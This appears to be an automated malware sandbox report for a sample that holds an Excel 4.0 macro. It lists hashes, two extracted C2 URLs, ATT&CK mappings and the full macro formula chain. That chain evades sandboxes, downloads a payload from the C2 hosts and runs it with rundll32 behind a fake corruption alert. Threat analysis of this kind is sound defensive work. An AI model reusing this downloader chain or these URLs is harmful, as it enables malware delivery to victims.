Resubmissions

05-07-2023 14:46

230705-r5b6ssdb44 10

05-07-2023 13:29

230705-qrk14seb7s 10

General

  • Target

    0c3439c15d73feebbbffb262d.exe

  • Size

    238KB

  • Sample

    230705-r5b6ssdb44

  • MD5

    d7279d1b171208712540ee524b469694

  • SHA1

    8b42d380ae7ed057e39c262f01e3337f73ed88dc

  • SHA256

    0c3439c15d73feebbbffb262d94c69ddc77c0198df805feb30733ef094bfa3ff

  • SHA512

    3dea0871408d3e60b5a4d79833a75a9fb3ab40614664d1353e29a3c8a3c0c109469179710141bbda3e7607f80d7760137f327c1c80bbf70d4d9b8b55359d4f01

  • SSDEEP

    6144:sWk3hbdlylKsgqopeJBWhZFVE+W2NdATbWX0ePkkQQ6JP8bTfuhT:VwV8kQdJP8XfE

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rksinha.com//wp-content/themes/calliope/wp_data.php

http://baotruocde.com/wp-content/themes/calliope/wp_data.php

Attributes
  • formulas

    =APP.MAXIMIZE() =IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),) =IF(GET.WORKSPACE(14)<390,CLOSE(FALSE),) =IF(GET.WORKSPACE(19),,CLOSE(TRUE)) =IF(GET.WORKSPACE(42),,CLOSE(TRUE)) =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE)) ="C:\Users\Public\"&RANDBETWEEN(1,9999)&".reg" ="EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security "&C6&" /y" =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe",C7,0,5) =WAIT(0+"00:00:03") =FOPEN(C6) =FPOS(C10,215) =FREAD(C10,255) =FCLOSE(C10) =FILE.DELETE(C6) =IF(ISNUMBER(SEARCH("0001",C12)),CLOSE(FALSE),) ="C:\Users\Public\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr" ="http://rksinha.com//wp-content/themes/calliope/wp_data.php" ="http://baotruocde.com/wp-content/themes/calliope/wp_data.php" =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,C17,C16,0,0) =ERROR(FALSE) =FOPEN(C16,2) =IF(ISERROR(C21),,GOTO(R[2]C)) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,C18,C16,0,0) =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2) =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","C:\Users\Public\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr,DllRegisterServer",0,5) =CLOSE(FALSE) =WORKBOOK.HIDE("OX46O7IoY7",TRUE)

Targets

    • Target

      0c3439c15d73feebbbffb262d.exe

    • Size

      238KB

    • MD5

      d7279d1b171208712540ee524b469694

    • SHA1

      8b42d380ae7ed057e39c262f01e3337f73ed88dc

    • SHA256

      0c3439c15d73feebbbffb262d94c69ddc77c0198df805feb30733ef094bfa3ff

    • SHA512

      3dea0871408d3e60b5a4d79833a75a9fb3ab40614664d1353e29a3c8a3c0c109469179710141bbda3e7607f80d7760137f327c1c80bbf70d4d9b8b55359d4f01

    • SSDEEP

      6144:sWk3hbdlylKsgqopeJBWhZFVE+W2NdATbWX0ePkkQQ6JP8bTfuhT:VwV8kQdJP8XfE

    Score
    1/10

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Tasks